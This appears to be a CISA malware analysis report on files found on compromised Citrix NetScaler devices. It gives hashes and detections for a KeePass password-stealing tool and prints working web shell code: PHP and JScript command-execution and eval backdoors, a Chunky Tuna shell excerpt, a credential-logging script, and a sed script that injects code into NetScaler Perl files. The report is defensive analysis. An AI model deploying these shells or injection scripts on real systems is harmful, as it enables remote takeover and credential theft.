Entropy 6.023616
Antivirus
Ahnlab Trojan/Win32.Tiggre
Avira TR/PSW.KeeThief.vmqvn
BitDefender Gen:Variant.Ursu.299323
ESET a variant of MSIL/PSW.KeeThief.A trojan
Emsisoft Gen:Variant.Ursu.299323 (B)
Ikarus Trojan.MSIL.PSW
K7 Password-Stealer ( 005253fd1 )
McAfee GenericRXIL-CE!DC8A91125F27
Microsoft Security Essentials PWS:MSIL/KeeThief
Symantec Trojan.Gen.MBT
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2016-07-11 14:54:24-04:00
Import Hash f34d5f2d4577ed6d9ceec516c1f5a744
File Description KeeTheft
Internal Name KeeTheft.exe
Legal Copyright Copyright © 2016
Original Filename KeeTheft.exe
Product Name KeeTheft
Product Version 1.0.0.0
PE Sections
MD5 Name Raw Size Entropy
cb77191ad61291924938362fbb902f32 header 512 2.783814
1fb4a5b09d9141362ed994c8a99b3cf5 .text 735744 6.030226
2801de31bb6a6306f169ef81e5589521 .rsrc 1536 4.076679
ecf88595c12869be20d521f1934da506 .reloc 512 0.101910
Relationships
10836bda2d… Related_To 913ee2b048093162ff54dca050024f07200cdeaf13ffd56c449acb9e6d5fbda0
Description

This file is a Windows executable written in the .NET programming language. This binary has been identified as the KeyTheft application, which is part of the “KeeThief” open source project. The primary purpose of this executable is to assist in the stealing of password credentials from the “KeePass Password Safe” password management utility software. Using this malware, an operator will be able to decrypt and extract passwords from a “KeePass” safe, allowing access to sensitive user data and possibly the ability pivot to the victim’s user accounts outside of the victim’s network.

Screenshots

Figure 1 - Screenshot of a list of some of the source .NET files used to build this app. It matches the name of some of the source files contained within the "KeeThief" open source project.

Figure 1 – Screenshot of a list of some of the source .NET files used to build this app. It matches the name of some of the source files contained within the “KeeThief” open source project.

Figure 2 - Screenshot of a list of source files within the "KeeThief" open source project.

Figure 2 – Screenshot of a list of source files within the “KeeThief” open source project.

Figure 3 - Screenshot of .NET code decompiled from the "KcpPassword" file contained within this binary.

Figure 3 – Screenshot of .NET code decompiled from the “KcpPassword” file contained within this binary.

Figure 4 - Screenshot of .NET code found on the "KeeThief" project's GitHub page, which matches the code extracted from this malicious file.

Figure 4 – Screenshot of .NET code found on the “KeeThief” project’s GitHub page, which matches the code extracted from this malicious file.

51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21

Details
Name df5bd34799e200951fcce77c1c0b42af.php
Size 585 bytes
Type PHP script, ASCII text
MD5 b3b1dea400464ab5dd55e44766357957
SHA1 507a04d3faed99cee089da042913d63f1813fc2a
SHA256 51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21
SHA512 f7c21a4171942edd7e0d4ab7c0b3a3a1666a3dbbed14da6af4ae3c41c7607301c0c3bc83782e22c47fe40b5297a9c1374d645d04ce3b22cebf5a54d2d92ed5bb
ssdeep 12:yDsNaficuJwHCaBzVBbgKOBUbC3c2vaveaXivglQEyKzbShL:4sCicuJwiaRVVeubCs+ieaXiY1HShL
Entropy 5.136531
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a component of a malicious web shell. It contains two PHP code blocks. The first block extracts information from a dictionary data structure named “$_FILES”. Analysis indicates the script extracts provided file data, such as file name, file type, file size, and the files in a temporary location. The block then calls a function named “move_uploaded_files”. This PHP block is presumably utilized by a web shell framework to allow a remote operator to move uploaded files to a new location on the compromised system. The code contained in the function “move_uploaded_file” was not available for analysis.

The second PHP script block parses the variable $_GET for the value associated with the “cmd” key value. This value is then executed on the target system using the “system()” function. This PHP block is utilized by a web shell framework to allow a remote operator to remotely execute commands on a compromised system. Displayed below is the (partial) code contained within this file:

—Begin PHP Script—
if ($_FILES[“file”][“error”] > 0)
{
echo “Error: ” . $_FILES[“file”][“error”] . “<br>”;
}
else
{
echo “FILENAME: ” . $_FILES[“file”][“name”] . “<br>”;
echo “FILETYPE: ” . $_FILES[“file”][“type”] . “<br>”;
echo “FILETYPE: ” . ($_FILES[“file”][“size”] / 1024) . ” kB<br>”;
echo “FILETEMPPATH: ” . $_FILES[“file”][“tmp_name”] . ” <br>”;
move_uploaded_file($_FILES[“file”][“tmp_name”], $_FILES[“file”][“name”]);
}
?>
<textarea name=”textarea” cols=”100″ rows=”25″ readonly>
<?php
if (strlen($_GET[“cmd”]) > 0)
{
    system($_GET[“cmd”]);
}
—End PHP Script—

547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c

Tags

backdoortrojanwebshell

Details
Name df5bd34799e200951fcce77c1c0b42af_y.php
Size 28 bytes
Type PHP script, ASCII text
MD5 e11f9350ced37173d1e957ffe7d659b9
SHA1 ec6d63fd5695c470bc3daea500b270eca85e81f4
SHA256 547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c
SHA512 ecd2ae19d5b3264821a1d88a265973b32724d2fc85b4225a23d4bc0c1aad6e8280a78de1f9024a19461a1c1b9209222eb51cb57f980c11a862eb78c82d29a7e1
ssdeep 3:3/a4nL:ycL
Entropy 4.521641
Antivirus
ESET PHP/WebShell.NGI trojan
Microsoft Security Essentials Backdoor:PHP/Dirtelti.MTG
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a part of a larger malicious web shell framework. It is designed to extract data contained within a Request object, Base64 decode the data associated with a redacted parameter, and then execute this data on the compromised system. The data is executed using the “eval()” function indicating it is expected to be a malicious JavaScript payload. The (partial) JavaScript contained within this file is displayed below:

—Begin Extracted JavaScript—
<%@ Page Language=”Jscript”%><%try {eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item[“[Redacted]”])),”unsafe”); } catch(e) {}%>
—End Extracted JavaScript—

b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249

Tags

backdoor

Details
Name df5bd34799e200951fcce77c1c0b42af_z.php
Size 30 bytes
Type PHP script, ASCII text
MD5 8f9567ca566ab5f79081d5d17c79ee41
SHA1 01c3da91407c43d9edee751bbd2e30e081165fdc
SHA256 b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249
SHA512 45ba8f2dac9cf0982937feb42dd6a782e84a76fae84d8168d170e52908bc40033a7fab58395c4247093af3b3cb38532563aac00a153641420b95dabb91976e99
ssdeep 3:3/MJHo6:0JI6
Entropy 4.640224
Antivirus
Microsoft Security Essentials Backdoor:PHP/Dirtelti.MTG
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a malicious PHP script. The PHP block contained within this script retrieves data from the “k0” key contained within the local “$_POST” variable. This data is then immediately executed on the compromised system utilizing the “system()” function. This tiny script is utilized to allow an operator to remotely execute commands on a compromised system. The (partial) code contained within the script is displayed below:

—Begin PHP Script—
php system($_POST[“k0”]);
—End PHP Script—

2944ea7d0045a1d64f3584e5803cbf3a026bd0e22bdf2e4ba1d28c6ad9e57849

Details
Name prev_sh
Size 872 bytes
Type Rich Text Format data, version 1, ANSI
MD5 ac07005f06ac63e5b1b0c1cd15a7a060
SHA1 74fe38fb9b63e3d1ff112567d770aef118a31195
SHA256 2944ea7d0045a1d64f3584e5803cbf3a026bd0e22bdf2e4ba1d28c6ad9e57849
SHA512 f2560ae09815a3011086ec1ecbdfb0102d1063dcb64a81cfb4f0d18307f0851c6f4738103024e172adb71f14982c5edcc88592f9e03f04605f8a2f86948050ba
ssdeep 24:EnAWZJMOvOIBCotIYZa/UKt0K7uxuOv69p:EnAWZOkOm7tIYZa/UbjUkep
Entropy 5.386700
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains bash shell scripting code. The shell script is displayed below:

—Begin Shell Script—
cd /netscaler/portal/scripts;
for f in tips.pl themes.pl navthemes.pl rmbm.pl picktheme.pl newbm.pl savecolorprefs.pl subscription.pl PersonalBookmark.pl;

do if [ -f $f ] && ! grep “/\\/\\.\\.\\// .*df5bd34799e200951fcce77c1c0b42af” $f;

then sed -i .bk ‘s:use vars.*:use vars qw (%c);

if($ENV{REQUEST_URI} =~ /\/\.\.\// && $ENV{REQUEST_URI} !~ /df5bd34799e200951fcce77c1c0b42af/)

{my $d=”/netscaler/portal/templates”;

opendir(D,$d);

while(my $f=readdir(D))
{if($f =~ /.xml/i)
{unlink(“$d/$f”);}}
closedir(D);
exit 0;}:’

$f;

fi;

done;

rm -f *.b”
—End Shell Script—

Analysis indicates this shell script attempts to read the following system scripts contained on a victim’s netscaler device and modify them if specific content is not present within the scripts:

—Begin Modified Perl Scripts—
tips.pl
themes.pl
navthemes.pl
rmbm.pl
picktheme.pl
newbm.pl
savecolorprefs.pl
subscription.pl
PersonalBookmark.pl
—End Modified Perl Scripts—

The netscaler system perl scripts, modified by this application, were not available for analysis.

The malware searches the perl scripts using an IF statement, which contains a REGEX rule ensuring the perl script does not contain the string *df5bd34799e200951fcce77c1c0b42af”. If the string is not present in the script, the malware will execute the following SED command which appears to add executable code to the system perl scripts:

—Begin SED Command—
sed -i .bk ‘s:use vars.*:use vars qw (%c);

if($ENV{REQUEST_URI} =~ /\/\.\.\// && $ENV{REQUEST_URI} !~ /df5bd34799e200951fcce77c1c0b42af/)

{my $d=”/netscaler/portal/templates”;

opendir(D,$d);

while(my $f=readdir(D))
{if($f =~ /.xml/i)
{unlink(“$d/$f”);}}
closedir(D);
exit 0;}:’
—End SED Command—

Analysis of the code above indicates it will clear out all files in the “/netscaler/portal/templates” directory matching the regex rule “/.xml/i” if the systems “$ENV(REQUEST_URI)” variable does not contain the string “df5bd34799e200951fcce77c1c0b42af”. This code modification appears to be utilized as part of a technique to ensure the systems “$ENV{REQUEST_URI}” variable continues to point to a web application with the file name containing the string “df5bd34799e200951fcce77c1c0b42af”.

This report contains the following web shell applications that contain the string “df5bd34799e200951fcce77c1c0b42af” in the file’s name:

–Begin Files–
df5bd34799e200951fcce77c1c0b42af.php    (51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21)
df5bd34799e200951fcce77c1c0b42af_y.php (547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c)
df5bd34799e200951fcce77c1c0b42af_z.php (b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249)
–End Files–

These web shell applications provide an operator remote C2 access over a victim’s system.

b36288233531f7ac2e472a689ff99cb0f2ac8cba1b6ea975a9a80c1aa7f6a02a

Tags

backdoortrojanwebshell

Details
Name tiny_webshell
Size 402 bytes
Type Rich Text Format data, version 1, ANSI
MD5 82e6e545c9863ed9f0df1e78d2457d13
SHA1 fdc411014e747715a2d6de93723865ac5134b600
SHA256 b36288233531f7ac2e472a689ff99cb0f2ac8cba1b6ea975a9a80c1aa7f6a02a
SHA512 cbe7374679872f635564b6da357b806ffd11f86881ea9fe9286682a73e49b152b88b01c9f6c872fb3ac04044b5d2955c92b03793877e6ecbc19d775707f28824
ssdeep 6:L4vrWK+dSQSm+BhYrJDeSykilDo5WZuXP7SX8R6H4cYzat7qq4+u13HfEW2A6xQ0:HKUSmsY+1AWZuDSXA6/YXF3M/Qq3
Entropy 5.136055
Antivirus
ESET PHP/WebShell.NBV trojan
Microsoft Security Essentials Backdoor:PHP/Chopper.C!dha
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains a small PHP script block that is designed to receive a web POST, extract and Base64 decode its contents, and then execute this data on the compromised system. The code contained within this file is displayed below:

—Begin File Data—
php @eval(base64_decode($_POST[‘citrix@[Redacted]’]));?>
—End File Data—

As illustrated within this data, the POST parameter utilized to deliver data to the script block is expected to be “citrix@[Redacted]”. It is believed this script is related to the Tiny web shell.

8c9aeedeea37ee88c84b170d9cd6c6d83581e3a57671be0ba19f2c8a17bd29f3

Tags

remote-access-trojanwebshell

Details
Name content
Size 5599 bytes
Type PHP script, ASCII text
MD5 ce868f9ed3ebd9036456da37749ab7b9
SHA1 6099d6e21fd81c2fb85e9b157f64d2cad8fec310
SHA256 8c9aeedeea37ee88c84b170d9cd6c6d83581e3a57671be0ba19f2c8a17bd29f3
SHA512 e69966437bb4c3a819a425c6d8197fe8b7a01d2396eaa9d8f88312834e85eba8bb53f36aceefe306cbc3affe6e843afc2a833d89f02a5e7392dd31140f07b701
ssdeep 96:NqNB3EXRKYIkbu0J5vmkI0K1sZMHXN+XNyBa9M6XN2XN7Emf+qsTMUoPk4xe0tM9:O3EhFIcT+sKSZMdMyBCMQk7d5I4xptM9
Entropy 5.298102
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a modified copy of the open source web shell known as Chunky Tuna and provides a remote operator C2 capabilities over a compromised system. Displayed below is some of the code extracted from this script:

—Begin Extracted Code—
$headers = getallheaders();
// if the header doesn’t match the key
if (array_key_exists(‘X-Pwd’, $headers) && $headers[‘X-Pwd’] !== “Ddzq1Mg6rIJDCAj7ch78vl3ZEGcXnqKjs97gs5y”) {
_log(“wrong pwd: “);
die();
}
// NOP, for setting cookies
if (array_key_exists(‘X-Nop’, $headers) && $headers[“X-Nop”] === “1”) {
_log(“[X-Nop] Request”.print_r($headers,true));
return;
}

// determine operation type
if (array_key_exists(‘X-Type’, $headers)) {
$opType = $headers[“X-Type”];
} else {
$opType = “”;
}

—————————

while ($continue) {
        $read = array($pipes[1], $pipes[2]);
        // $write = array($pipes[0]);
        $write = NULL;
        $except = NULL;

        @session_start();
        if ($_SESSION[“data”] != “”) {
            _log(“Got data!”);
            // write it
            fwrite($pipes[0], $_SESSION[“data”]);
            // wipe it
            $_SESSION[“data”] = “”;
            $activity_time = microtime(true);
        }
        session_write_close();
        $ss = stream_select($read, $write, $except, $tv_sec = 0, $tv_usec =50000);

        // bleh. not the best inactivity timeout…
        $now = microtime(true);
        if ($now – $activity_time > 30) {
            $continue = false;
            _log(“Max inactivity time exceeded”);
            break;
        }

        // _log(stream_get_contents($pipes[1]));
        // next round
        if ($ss === 0) continue;

        if ($ss === false) {
            _log(“nServer shutting down”);
            $continue = false;
            break;
        }
        if ($ss < 1) {
            _log(“nNothing to do”);
            continue;
        }
—End Extracted Code—

Figures 5 and 6 contain similar code from the open source Chunky Tuna web shell.

Screenshots

Figure 5 - Code located on the Chunky Tuna web shell project website. This sample has very similar code.

Figure 5 – Code located on the Chunky Tuna web shell project website. This sample has very similar code.

Figure 6 - Code located on the Chunky Tuna web shell project website. This sample has very similar code.

Figure 6 – Code located on the Chunky Tuna web shell project website. This sample has very similar code.

3b14d5eafcdb9e90326cb4146979706c85a58be3fc4706779f0ae8d744d9e63c

Tags

webshell

Details
Name content
Size 365 bytes
Type PHP script, ASCII text, with CRLF line terminators
MD5 750b1bf7269ffc5860166efa8af6b34e
SHA1 f4d152a700d93703592dc3652ff7b52ef00b4f7e
SHA256 3b14d5eafcdb9e90326cb4146979706c85a58be3fc4706779f0ae8d744d9e63c
SHA512 fcae4efb50a6e72363edfd822939ff9204ca2368963ad825e5c8b5a256255e93bc8f556cd91aa4629c53a117892e03d95aad9c4716ded27300b4d68aabd3bb4e
ssdeep 6:99YpbSYDFYE9LO3b6bLAztLUJD/9RH80Ab6bLAztLUJOdLGX80Ab6bLAztLUJI5t:96RSurpOryLAztQ7H0WLAztzGX0WLAz/
Entropy 5.142417
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains a single PHP script block. The script is designed to listen for incoming HTTP GET connections. The script will extract data from the ‘u’ parameter, and place it into a variable named “$username”. The script will also extract data from the ‘p’ parameter, and place it into a variable named “$password”. This data is then placed into the function “file_put_contents”, along with the static string “netscaler.1”. It appears this malicious web shell is designed to allow a remote operator to remotely add accounts to a compromised NetScaler device. This file contains the following (partial) PHP script code:

—Begin PHP Code—
php
$username= $_GET[‘u’];
$password= $_GET[‘p’];
if ($username !=”undefined”){
file_put_contents(“netscaler.1” , “Username:”.$username.PHP_EOL ,FILE_APPEND);
file_put_contents(“netscaler.1” , “Password:”.$password.PHP_EOL ,FILE_APPEND);
file_put_contents(“netscaler.1” , “—————————————————–“.PHP_EOL ,FILE_APPEND);
}
—End PHP Code—

4a1fc30ffeee48f213e256fa7bff77d8abd8acd81e3b2eb3b9c40bd3e2b04756

Tags

backdoortrojanwebshell

Details
Name content
Size 57 bytes
Type PHP script, ASCII text, with no line terminators
MD5 fd6c1e1fbe93a6c1ae97da3ddc3a381f
SHA1 a5225159267538863f8625050de94d880d54d2d4
SHA256 4a1fc30ffeee48f213e256fa7bff77d8abd8acd81e3b2eb3b9c40bd3e2b04756
SHA512 ea392b3dd9c323ae5e41d68394a56bb13914e9311f2d98648c9b5560af3bb9f85b4ac4d5a947bce5658fa230b3902fb574e5247c626643150dd8b6087f782ec1
ssdeep 3:E1uWATR7cNT2xrXMnFNXC4/:EEW2A6xQnqO
Entropy 4.922815
Antivirus
ESET PHP/WebShell.NBV trojan
Microsoft Security Essentials Backdoor:PHP/Dirtelti.MTF
NANOAV Trojan.Html.Backdoor.fqkken
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains a small PHP script block and has been identified as a malicious web shell. It is designed to accept a POST request and extract the data associated with the parameter ‘citrix@[Redacted]’. This data will then be decoded using a function named “base64_decode”. The data will then be executed via the PHP “eval” function, indicating the application expects this data to be additional PHP code. This web shell will allow a remote operator to execute additional PHP payloads on a compromised system. This file contains the following (partial) PHP code:

—Begin PHP—
php @eval(base64_decode($_POST[‘citrix@[Redacted]’]));
—End PHP—

Relationship Summary

99344d862e… Related_To 28bc161df8406a6acf4b052a986e29ad1f60cbb19983fc17931983261b18d4ea
28bc161df8… Related_To 99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc
913ee2b048… Related_To 10836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334
10836bda2d… Related_To 913ee2b048093162ff54dca050024f07200cdeaf13ffd56c449acb9e6d5fbda0

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
  • Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

Revisions

  • September 15, 2020: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.